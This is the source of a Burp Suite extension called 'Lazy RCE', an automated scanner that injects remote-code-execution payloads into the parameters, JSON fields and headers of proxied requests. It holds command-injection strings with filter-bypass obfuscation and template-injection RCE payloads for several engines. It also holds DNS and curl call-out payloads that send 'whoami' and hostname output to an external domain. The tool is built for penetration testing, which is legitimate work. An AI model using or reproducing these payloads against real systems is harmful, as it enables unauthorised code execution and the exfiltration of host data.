# -*- coding: utf-8 -*-

from burp import IBurpExtender, ITab, IHttpListener, IContextMenuFactory, IMessageEditorController, IParameter
from javax.swing import JSplitPane, JScrollPane, JTable, JMenuItem, JPanel, JLabel, JTextField, JButton, BoxLayout, Box, JCheckBox
from javax.swing.table import AbstractTableModel
from java.awt import BorderLayout
from java.util import ArrayList, List
from threading import Thread, Lock
import re
import random
import string
import json
from java.net import URL
from collections import OrderedDict
import time
import base64
import sys

try:
    from urllib import urlencode
except ImportError:
    from urllib.parse import urlencode

sys.setrecursionlimit(2000)

class BurpExtender(IBurpExtender, ITab, IHttpListener, IContextMenuFactory, IMessageEditorController):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Lazy RCE")
        self._log = ArrayList()
        self._lock = Lock()
        self.dnslog_domain = None
        self.dnslog_enabled = False
        self._scanner_enabled = False # Master switch for the scanner, default off
        # Filters (new feature)
        self.domain_filter = None
        self.ip_filter = None
        self._init_ui()
        callbacks.addSuiteTab(self)
        callbacks.registerHttpListener(self)
        callbacks.registerContextMenuFactory(self)
        print("Lazy RCE Plugin loaded successfully.")
        print("Author: Lazy")
        print("Scanner is currently DISABLED. Click 'Enable Scanner' in the tab to start.")

    def _init_ui(self):
        self._main_panel = JPanel(BorderLayout())
        
        control_panel = JPanel()
        control_panel.setLayout(BoxLayout(control_panel, BoxLayout.X_AXIS))

        self.toggle_scanner_button = JButton("Enable Scanner", actionPerformed=self.toggle_scanner)
        
        dnslog_label = JLabel("DNSLog Domain: ")
        self.dnslog_field = JTextField(30)
        self.dnslog_field.setToolTipText("Enter your DNSLog domain here (e.g., xxxxx.dnslog.cn)")
        self.enable_dnslog_button = JButton("Enable", actionPerformed=self.toggle_dnslog)
        self.disable_dnslog_button = JButton("Disable", actionPerformed=self.toggle_dnslog, enabled=False)
        
        self.dnslog_only_checkbox = JCheckBox("DNSLog Only Mode")
        self.dnslog_only_checkbox.setToolTipText("If checked, only DNSLog payloads will be used for testing.")

        host_filter_label = JLabel("Filter Domain: ")
        self.domain_filter_field = JTextField(20)
        self.domain_filter_field.setToolTipText("If set, only requests with a matching domain (substring) will be scanned")
        ip_filter_label = JLabel("Filter IP: ")
        self.ip_filter_field = JTextField(12)
        self.ip_filter_field.setToolTipText("If set, only requests to this exact IP will be scanned")
        apply_filter_button = JButton("Apply Filter", actionPerformed=self.apply_filters)
        clear_filter_button = JButton("Clear Filter", actionPerformed=self.clear_filters)

        clear_button = JButton("Clear Results", actionPerformed=self.clear_log)

        control_panel.add(self.toggle_scanner_button)
        control_panel.add(Box.createHorizontalStrut(10))
        control_panel.add(dnslog_label)
        control_panel.add(self.dnslog_field)
        control_panel.add(self.enable_dnslog_button)
        control_panel.add(self.disable_dnslog_button)
        control_panel.add(Box.createHorizontalStrut(8))
        control_panel.add(self.dnslog_only_checkbox)
        control_panel.add(Box.createHorizontalStrut(12))
        control_panel.add(host_filter_label)
        control_panel.add(self.domain_filter_field)
        control_panel.add(ip_filter_label)
        control_panel.add(self.ip_filter_field)
        control_panel.add(apply_filter_button)
        control_panel.add(clear_filter_button)
        control_panel.add(Box.createHorizontalGlue()) # Pushes clear button to the right
        control_panel.add(clear_button)
        
        self._log_table = Table(self)
        scroll_pane = JScrollPane(self._log_table)
        self._request_viewer = self._callbacks.createTextEditor()
        self._response_viewer = self._callbacks.createTextEditor()
        viewer_pane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT, self._request_viewer.getComponent(), self._response_viewer.getComponent())
        viewer_pane.setResizeWeight(0.5)
        
        self._split_pane = JSplitPane(JSplitPane.VERTICAL_SPLIT, scroll_pane, viewer_pane)
        self._main_panel.add(control_panel, BorderLayout.NORTH)
        self._main_panel.add(self._split_pane, BorderLayout.CENTER)

    def apply_filters(self, event):
        dom = self.domain_filter_field.getText().strip()
        ip = self.ip_filter_field.getText().strip()
        self.domain_filter = dom if dom else None
        self.ip_filter = ip if ip else None
        print("Filters applied - Domain: %s, IP: %s" % (self.domain_filter, self.ip_filter))

    def clear_filters(self, event):
        self.domain_filter_field.setText("")
        self.ip_filter_field.setText("")
        self.domain_filter = None
        self.ip_filter = None
        print("Filters cleared. Scanning will target ALL requests.")

    def toggle_scanner(self, event):
        self._scanner_enabled = not self._scanner_enabled
        if self._scanner_enabled:
            self.toggle_scanner_button.setText("Disable Scanner")
            print("Lazy RCE Scanner ENABLED.")
        else:
            self.toggle_scanner_button.setText("Enable Scanner")
            print("Lazy RCE Scanner DISABLED.")

    def getTabCaption(self):
        return "Lazy RCE"

    def getUiComponent(self):
        return self._main_panel

    def toggle_dnslog(self, event):
        if event.getSource() == self.enable_dnslog_button:
            domain = self.dnslog_field.getText().strip()
            if not domain:
                print("DNSLog domain cannot be empty.")
                return
            self.dnslog_domain = domain
            self.dnslog_enabled = True
            self.enable_dnslog_button.setEnabled(False)
            self.disable_dnslog_button.setEnabled(True)
            print("DNSLog enabled for domain: " + self.dnslog_domain)
        else:
            self.dnslog_enabled = False
            self.dnslog_domain = None
            self.enable_dnslog_button.setEnabled(True)
            self.disable_dnslog_button.setEnabled(False)
            print("DNSLog disabled.")

    def clear_log(self, event):
        self._lock.acquire()
        self._log.clear()
        self._log_table.getModel().fireTableDataChanged()
        self._request_viewer.setText(None)
        self._response_viewer.setText(None)
        self._lock.release()
        print("Lazy RCE results cleared.")

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not self._scanner_enabled:
            return
            
        if toolFlag == self._callbacks.TOOL_PROXY and not messageIsRequest:
            try:
                http_service = messageInfo.getHttpService()
                host = http_service.getHost()
            except Exception:
                host = None

            if (self.domain_filter or self.ip_filter):
                if self.domain_filter and (not host or self.domain_filter.lower() not in host.lower()):
                    return
                if self.ip_filter and (not host or self.ip_filter != host):
                    return

            thread = Thread(target=self.scan_request, args=(messageInfo,))
            thread.start()

    def scan_request(self, messageInfo):
        analyzed_request = self._helpers.analyzeRequest(messageInfo)
        params = analyzed_request.getParameters()
        headers = analyzed_request.getHeaders()
        body_bytes = messageInfo.getRequest()[analyzed_request.getBodyOffset():]
        body_str = self._helpers.bytesToString(body_bytes)
        marker = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(12))
        
        payloads = self.get_payloads(marker)

        for param in params:
            if param.getType() == IParameter.PARAM_URL:
                self.test_injection_point(messageInfo, param, "URL", payloads, marker)
        
        for param in params:
            if param.getType() in [IParameter.PARAM_BODY, IParameter.PARAM_MULTIPART_ATTR]:
                self.test_injection_point(messageInfo, param, "Body", payloads, marker)
        
        content_type_header = analyzed_request.getContentType()
        if content_type_header is not None and "application/json" in content_type_header.lower():
            try:
                json_data = json.loads(body_str, object_pairs_hook=OrderedDict)
                self.test_json(messageInfo, json_data, payloads, marker)
            except Exception:
                pass

        for header in headers:
            if header.lower().startswith(("host:", "content-length:", "cookie:", "content-type:", "connection:", "accept", "sec-", "user-agent:")):
                continue
            self.test_header(messageInfo, header, payloads, marker)

    def test_injection_point(self, messageInfo, param, location, payloads, marker):
        for payload_info in payloads:
            new_param = self._helpers.buildParameter(param.getName(), payload_info['payload'], param.getType())
            new_request = self._helpers.updateParameter(messageInfo.getRequest(), new_param)
            self.check_vuln(messageInfo, new_request, location, param.getName(), payload_info, marker)

    def test_json(self, messageInfo, json_data, payloads, marker, path=""):
        if isinstance(json_data, dict):
            for key, value in list(json_data.items()):
                current_path = path + "." + key if path else key
                if isinstance(value, (str, unicode, int, float, bool)):
                    original_value = value
                    for payload_info in payloads:
                        json_data[key] = payload_info['payload']
                        new_body_str = json.dumps(json_data, ensure_ascii=False)
                        new_body_bytes = self._helpers.stringToBytes(new_body_str)
                        new_request = self._helpers.buildRequest(self._helpers.analyzeRequest(messageInfo).getHeaders(), new_body_bytes)
                        self.check_vuln(messageInfo, new_request, "JSON Body", current_path, payload_info, marker)
                    json_data[key] = original_value
                elif isinstance(value, (dict, list)):
                    self.test_json(messageInfo, value, payloads, marker, current_path)
        elif isinstance(json_data, list):
            for i, item in enumerate(json_data):
                current_path = path + "[%d]" % i
                if isinstance(item, (dict, list)):
                    self.test_json(messageInfo, item, payloads, marker, current_path)
    
    def test_header(self, messageInfo, header, payloads, marker):
        header_name_value = header.split(":", 1)
        if len(header_name_value) < 2: return
        header_name = header_name_value[0]
        
        for payload_info in payloads:
            new_headers = list(self._helpers.analyzeRequest(messageInfo).getHeaders())
            new_headers = [h for h in new_headers if not h.lower().startswith(header_name.lower() + ":")]
            new_headers.append(header_name + ": " + payload_info['payload'])
            body_bytes = messageInfo.getRequest()[self._helpers.analyzeRequest(messageInfo).getBodyOffset():]
            new_request = self._helpers.buildHttpMessage(new_headers, body_bytes)
            self.check_vuln(messageInfo, new_request, "Header", header_name, payload_info, marker)

    def check_vuln(self, base_request_response, new_request, location, param_name, payload_info, marker):
        http_service = base_request_response.getHttpService()
        check_type = payload_info['type']
        vulnerable = False
        check_request_response = None
        
        final_payload = payload_info['payload']
        if check_type == 'dnslog':
            safe_param = re.sub(r'[^a-zA-Z0-9-]', '-', param_name)[:20]
            final_payload = final_payload.format(
                location=location.lower(),
                param=safe_param,
                marker=marker,
                dnslog_domain=self.dnslog_domain
            )
        if check_type == 'time_based':
            sleep_duration = payload_info.get('duration', 5)
            detection_threshold = sleep_duration * 0.8 # 80% threshold for reliability
            start_time = time.time()
            check_request_response = self._callbacks.makeHttpRequest(http_service, new_request)
            end_time = time.time()
            if (end_time - start_time) > detection_threshold:
                vulnerable = True
        
        elif check_type == 'dnslog':
            print("Sending DNSLog payload for %s in %s. Please check your DNSLog platform." % (param_name, location))
            check_request_response = self._callbacks.makeHttpRequest(http_service, new_request)
            vulnerable = True

        else:
            check_request_response = self._callbacks.makeHttpRequest(http_service, new_request)
            if not check_request_response or not check_request_response.getResponse():
                return
            response_str = self._helpers.bytesToString(check_request_response.getResponse())
            
            if check_type == 'command_echo':
                if response_str.count(marker) >= 2 and any(kw in response_str for kw in payload_info.get('check_keywords', [])):
                    vulnerable = True
            elif check_type in ['ssti_math', 'arithmetic_echo']:
                if payload_info['result'] in response_str:
                    vulnerable = True
            elif check_type == 'inband_collaboration':
                if marker in response_str:
                    vulnerable = True

        if vulnerable:
            self._lock.acquire()
            try:
                is_duplicate = any(
                    entry._url.toString() == self._helpers.analyzeRequest(base_request_response).getUrl().toString() and
                    entry._param == param_name and
                    entry._attack_name == payload_info['name']
                    for entry in self._log
                )
                
                if not is_duplicate:
                    req_resp_to_save = check_request_response if check_request_response else base_request_response
                    attack_name_to_log = payload_info['name']
                    if check_type == 'dnslog':
                        attack_name_to_log += " (Verify DNSLog)"

                    print("Vulnerability Found: %s in %s parameter '%s'" % (attack_name_to_log, location, param_name))
                    entry = LogEntry(
                        self._callbacks.saveBuffersToTempFiles(req_resp_to_save),
                        self._helpers.analyzeRequest(base_request_response).getUrl(),
                        location,
                        param_name,
                        final_payload,
                        attack_name_to_log
                    )
                    self._log.add(entry)
                    self._log_table.getModel().fireTableRowsInserted(len(self._log) - 1, len(self._log) - 1)
            finally:
                self._lock.release()

    def get_payloads(self, marker):
        if self.dnslog_only_checkbox.isSelected():
            if self.dnslog_enabled and self.dnslog_domain:
                return self._get_dnslog_payloads(marker)
            else:
                print("DNSLog Only mode is enabled, but DNSLog is not configured. No tests will run.")
                return []
        
        payloads = []
        payloads.extend(self._get_command_injection_payloads(marker))
        payloads.extend(self._get_ssti_payloads(marker))
        if self.dnslog_enabled and self.dnslog_domain:
            payloads.extend(self._get_dnslog_payloads(marker))
        return payloads

    def _get_command_injection_payloads(self, marker):
        payloads = []
        
        linux_cmds = {
            'id': {'keywords': ['uid=', 'gid=']},
            'whoami': {'keywords': ['root', 'admin', 'system', 'user', 'www-data']},
            'uname -a': {'keywords': ['Linux', 'Darwin', 'Kernel']},
            'echo $SHELL': {'keywords': ['/bin/bash', '/bin/sh', 'zsh']},
            'echo $PWD': {'keywords': ['/home', '/var', '/root']},
            'expr 1337 + 1': {'keywords': ['1338']}
        }
        win_cmds = {
            'whoami': {'keywords': ['nt authority', 'system']},
            'ver': {'keywords': ['Windows']}
        }
        
        separators = [';', '|', '&&', '%0a']
        space_bypasses = [' ', '${IFS}', '$IFS$9', '%09', '<', '${IFS%??}', '{,}'] # 
        
        for cmd, data in linux_cmds.items():
            for sep in separators:
                for space in space_bypasses:
                    if space == '{,}':
                        if ' ' in cmd: continue # Skip complex commands for this bypass
                        obfuscated_cmd = cmd.replace(' ', '')
                        p = sep + 'echo' + space + marker + ';' + obfuscated_cmd + ';' + 'echo' + space + marker
                    else:
                        obfuscated_cmd = cmd.replace(' ', space)
                        p = sep + 'echo' + space + marker + ';' + obfuscated_cmd + ';' + 'echo' + space + marker
                    
                    payloads.append({
                        'name': 'Cmd Inj - {c} ({s}, sp: {sp})'.format(c=cmd.split(' ')[0], s=repr(sep), sp=repr(space)),
                        'type': 'command_echo',
                        'payload': p,
                        'check_keywords': data['keywords']
                    })

        payloads.extend([
            {'name': 'Cmd Inj - Obfuscation (Concat)', 'type': 'command_echo', 'payload': ";echo "+marker+";w'h'o'am'i;echo "+marker, 'check_keywords': linux_cmds['whoami']['keywords']},
            {'name': 'Cmd Inj - Obfuscation (Vars)', 'type': 'command_echo', 'payload': ";echo "+marker+";a=who;b=ami;$a$b;echo "+marker, 'check_keywords': linux_cmds['whoami']['keywords']},
            {'name': 'Cmd Inj - Obfuscation (Wildcard)', 'type': 'command_echo', 'payload': ";echo "+marker+";/bin/w?o?m?;echo "+marker, 'check_keywords': linux_cmds['whoami']['keywords']},
            {'name': 'Cmd Inj - Obfuscation (Shell Code)', 'type': 'command_echo', 'payload': ";echo "+marker+";$'\\x77\\x68\\x6f\\x61\\x6d\\x69';echo "+marker, 'check_keywords': linux_cmds['whoami']['keywords']},
        ])

        payloads.append({
            'name': 'Cmd Inj - No-Letter/No-Number RCE', 'type': 'command_echo',
            'payload': ';echo '+marker+';$(tr "[a-z]" "[n-za-m]" <<< "vq");echo '+marker, 
            'check_keywords': ['uid=', 'gid=']
        })

        for cmd, data in win_cmds.items():
            for sep in ['&', '|', '%0a']:
                p = sep + 'echo ' + marker + '&' + cmd + '&echo ' + marker
                payloads.append({'name': 'Win Cmd - {c} ({s})'.format(c=cmd, s=repr(sep)), 'type': 'command_echo', 'payload': p, 'check_keywords': data['keywords']})
        
        sleep_duration = 8
        payloads.extend([
            {'name': 'Blind RCE (sleep)', 'type': 'time_based', 'payload': ';sleep %d' % sleep_duration, 'duration': sleep_duration},
            {'name': 'Blind RCE (ping)', 'type': 'time_based', 'payload': '|ping -c %d 127.0.0.1' % (sleep_duration + 1), 'duration': sleep_duration},
        ])

        collaborator_url = "http://YOUR-SERVER-HERE/" + marker 
        payloads.append({
            'name': 'RCE - In-band Collab (curl)', 'type': 'inband_collaboration', 
            'payload': "&& curl " + collaborator_url,
            'marker': marker
        })

        return payloads
        
    def _get_ssti_payloads(self, marker):
        return [
            {'name': 'SSTI - Generic Math (Jinja2/Twig)', 'type': 'ssti_math', 'payload': '{{1337*7}}', 'result': '9359'},
            {'name': 'SSTI - Generic Math (Freemarker)', 'type': 'ssti_math', 'payload': '${1337*7}', 'result': '9359'},
            
            {'name': 'SSTI - Python RCE (popen)', 'type': 'command_echo', 
             'payload': "{{'"+marker+"'}}{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}{{'"+marker+"'}}",
             'check_keywords': ['uid=', 'gid=']},
            
            {'name': 'SSTI - Java Freemarker RCE', 'type': 'command_echo', 
             'payload': "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"echo "+marker+"&&id&&echo "+marker+"\")}",
             'check_keywords': ['uid=', 'gid=']},
             
            {'name': 'SSTI - Java Velocity RCE', 'type': 'command_echo', 
             'payload': "#set($x='echo "+marker+"')#set($y=' id')#set($z=' echo "+marker+"')#set($cmd=$x.concat($y).concat($z))$Runtime.getRuntime().exec($cmd).getInputStream()",
             'check_keywords': ['uid=', 'gid=']},
             
            {'name': 'SSTI - Ruby ERB RCE', 'type': 'command_echo', 
             'payload': "<%= `echo #{'"+marker+"'} && id && echo #{'"+marker+"'}` %>",
             'check_keywords': ['uid=', 'gid=']},
             
            {'name': 'SSTI - PHP Smarty RCE', 'type': 'command_echo', 
             'payload': "{php}echo shell_exec('echo "+marker+" && id && echo "+marker+"');{/php}",
             'check_keywords': ['uid=', 'gid=']},
             
            {'name': 'SSTI - NodeJS RCE', 'type': 'command_echo',
             'payload': "{{this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"echo "+marker+" && id && echo "+marker+"\")')()}}",
             'check_keywords': ['uid=', 'gid=']}
        ]

    def _get_dnslog_payloads(self, marker):
        
        unique_subdomain_template = "{loc}-{param}-{marker}.{domain}"
        
        exfil_whoami_linux = "`(nslookup `whoami`." + unique_subdomain_template + ")`"
        exfil_hostname_linux = "`(nslookup `hostname`." + unique_subdomain_template + ")`"
        exfil_whoami_windows = "& for /f %i in ('whoami') do nslookup %i." + unique_subdomain_template
        
        rand_sub = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(8))

        return [
            {'name': 'DNSLog - nslookup', 'type': 'dnslog', 'payload': '|nslookup ' + rand_sub + '.' + self.dnslog_domain},
            {'name': 'DNSLog - ping', 'type': 'dnslog', 'payload': ';ping -c 2 ' + rand_sub + '.' + self.dnslog_domain},
            {'name': 'DNSLog - curl', 'type': 'dnslog', 'payload': '`curl http://' + rand_sub + '.' + self.dnslog_domain + '`'},
            {'name': 'DNSLog Exfil - whoami (Linux)', 'type': 'dnslog', 'payload': '`nslookup $(whoami).' + rand_sub + '.' + self.dnslog_domain + '`'},
            {'name': 'DNSLog Exfil - hostname (Linux)', 'type': 'dnslog', 'payload': ';nslookup $(hostname).' + rand_sub + '.' + self.dnslog_domain},
            {'name': 'DNSLog Exfil - whoami (Windows)', 'type': 'dnslog', 'payload': '& for /f %i in (\'whoami\') do nslookup %i.' + rand_sub + '.' + self.dnslog_domain},
        ]
        
    def createMenuItems(self, invocation):
        menu_list = ArrayList()
        try:
            selected_messages = invocation.getSelectedMessages()
        except Exception:
            selected_messages = None

        if selected_messages and len(selected_messages) > 0:
            menu_item = JMenuItem("Send to Repeater (Lazy RCE)", actionPerformed=lambda e, msgs=selected_messages: self._send_messages_to_repeater(msgs))
            menu_list.add(menu_item)

        if self._log_table.getSelectedRow() != -1:
            menu_item2 = JMenuItem("Send to Repeater (Lazy RCE) from Results", actionPerformed=lambda e: self.send_to_repeater(e))
            menu_list.add(menu_item2)

        return menu_list if menu_list.size() > 0 else None

    def _send_messages_to_repeater(self, messages):
        for msg in messages:
            try:
                http_service = msg.getHttpService()
                self._callbacks.sendToRepeater(
                    http_service.getHost(),
                    http_service.getPort(),
                    True if http_service.getProtocol() == "https" else False,
                    msg.getRequest(),
                    "LazyRCE"
                )
            except Exception as e:
                print("Failed to send message to Repeater: %s" % str(e))

    def send_to_repeater(self, event):
        selected_row = self._log_table.getSelectedRow()
        if selected_row != -1:
            model_row = self._log_table.convertRowIndexToModel(selected_row)
            log_entry = self._log.get(model_row)
            http_service = log_entry._requestResponse.getHttpService()
            self._callbacks.sendToRepeater(
                http_service.getHost(),
                http_service.getPort(),
                http_service.getProtocol() == "https",
                log_entry._requestResponse.getRequest(),
                "LazyRCE-" + log_entry._param
            )

    def getHttpService(self):
        return self._currently_displayed_item.getHttpService() if hasattr(self, '_currently_displayed_item') and self._currently_displayed_item else None
    def getRequest(self):
        return self._currently_displayed_item.getRequest() if hasattr(self, '_currently_displayed_item') and self._currently_displayed_item else None
    def getResponse(self):
        return self._currently_displayed_item.getResponse() if hasattr(self, '_currently_displayed_item') and self._currently_displayed_item else None


class Table(JTable):
    def __init__(self, extender):
        self._extender = extender
        self.setModel(LogTableModel(extender))
        self.getSelectionModel().addListSelectionListener(self.selection_changed)
    
    def selection_changed(self, event):
        if event.getValueIsAdjusting(): return
        
        selected_row = self.getSelectedRow()
        if selected_row == -1:
            self._extender._request_viewer.setText(None)
            self._extender._response_viewer.setText(None)
            self._extender._currently_displayed_item = None
            return

        model_row = self.convertRowIndexToModel(selected_row)
        log_entry = self._extender._log.get(model_row)
        
        self._extender._request_viewer.setText(log_entry._requestResponse.getRequest())
        self._extender._response_viewer.setText(log_entry._requestResponse.getResponse())
        self._extender._currently_displayed_item = log_entry._requestResponse
        
        try:
            self._extender._request_viewer.setSearchExpression(log_entry._payload)
        except:
            pass


class LogTableModel(AbstractTableModel):
    def __init__(self, extender):
        self._extender = extender
    def getRowCount(self):
        try: return self._extender._log.size()
        except: return 0
    def getColumnCount(self): return 6
    def getColumnName(self, columnIndex):
        return ["#", "Host", "Location", "Parameter", "Attack Type", "Payload"][columnIndex]
    def getValueAt(self, rowIndex, columnIndex):
        log_entry = self._extender._log.get(rowIndex)
        if columnIndex == 0: return rowIndex + 1
        if columnIndex == 1: return log_entry._url.getHost()
        if columnIndex == 2: return log_entry._location
        if columnIndex == 3: return log_entry._param
        if columnIndex == 4: return log_entry._attack_name
        if columnIndex == 5: return log_entry._payload
        return ""


class LogEntry:
    def __init__(self, requestResponse, url, location, param, payload, attack_name):
        self._requestResponse = requestResponse
        self._url = url
        self._location = location
        self._param = param
        self._payload = payload
        self._attack_name = attack_name
